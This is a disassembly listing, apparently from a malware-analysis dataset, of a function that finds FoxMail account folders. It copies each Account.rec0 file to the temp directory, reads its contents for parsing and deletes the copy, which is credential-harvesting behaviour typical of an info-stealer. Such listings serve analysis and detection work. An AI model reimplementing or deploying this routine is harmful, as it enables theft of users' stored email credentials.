Function at 0x406850
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf4240
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406c7b
call fcn.004067f0
mov dword [ebp - 0xc], eax
push 3
push 0x4a7bc8
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x406c45
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call fcn.00406740
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x406c43
mov dword [ebp - 0x18], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x406c39
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x406c2f
mov ecx, dword [ebp - 0x14]
push ecx
push str._s_storage
push 0x7fff
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0x20], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x406c25
mov eax, dword [ebp - 0x1c]
push eax
push str._s.
push 0x7fff
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.004930ae
add esp, 0x10
mov dword [ebp - 0x24], 0xffffffff
lea edx, [ebp - 0x278]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x406c1b
mov ecx, dword [ebp - 0x278]
and ecx, 0x10
je 0x406bf8
push 0x4a7bf8
lea edx, [ebp - 0x24c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4069bc
push 0x4a7bfc
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4069c1
jmp 0x406bf8
lea ecx, [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
push str._s_sAccountsAccount.rec0
push 0x7fff
mov eax, dword [ebp - 0x18]
push eax
call fcn.004930ae
add esp, 0x14
mov dword [ebp - 0x27c], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
je 0x406bf8
mov ecx, dword [ebp - 0x27c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x406beb
mov dword [ebp - 0x280], 0
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
je 0x406beb
call dword [0x4bca10]
mov dword [ebp - 0x284], eax
mov edx, dword [ebp - 0x284]
push edx
push 0x4a7c3c
push 0x27
lea eax, [ebp - 0x2d8]
push eax
call fcn.004930ae
add esp, 0x10
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x27c]
push edx
push 0x4a7c44
push 0x7fff
mov eax, dword [ebp - 0x280]
push eax
call fcn.004930ae
add esp, 0x14
push 0
mov ecx, dword [ebp - 0x280]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x406bde
mov dword [ebp - 0x2dc], 0xffffffff
push 0
push 0
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0xffffffff
je 0x406bd1
push 0
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0xffffffff
je 0x406bbb
cmp dword [ebp - 0x2e0], 0x64
jbe 0x406bbb
mov edx, dword [ebp - 0x2e0]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0
je 0x406bbb
push 0
lea eax, [ebp - 0x2e8]
push eax
mov ecx, dword [ebp - 0x2e0]
push ecx
mov edx, dword [ebp - 0x2e4]
push edx
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406bae
mov ecx, dword [ebp - 0x2e8]
cmp ecx, dword [ebp - 0x2e0]
jne 0x406bae
mov edx, dword [ebp - 0x2dc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x2dc], 0xffffffff
mov eax, dword [ebp - 0x2e0]
push eax
mov ecx, dword [ebp - 0x2e4]
push ecx
push 0x7a120
mov edx, dword [ebp - 4]
push edx
call fcn.00406c90
add esp, 0x10
mov eax, dword [ebp - 0x2e4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x2dc], 0xffffffff
je 0x406bd1
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x280]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea edx, [ebp - 0x278]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406981
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x406c67
push str.Current_version_supports_FoxMail_7.2_which_was_not_found._r_n_r_n
push 0x186a0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
push edx
call fcn.004930ae
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
jmp 0x406c7d
xor eax, eax
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret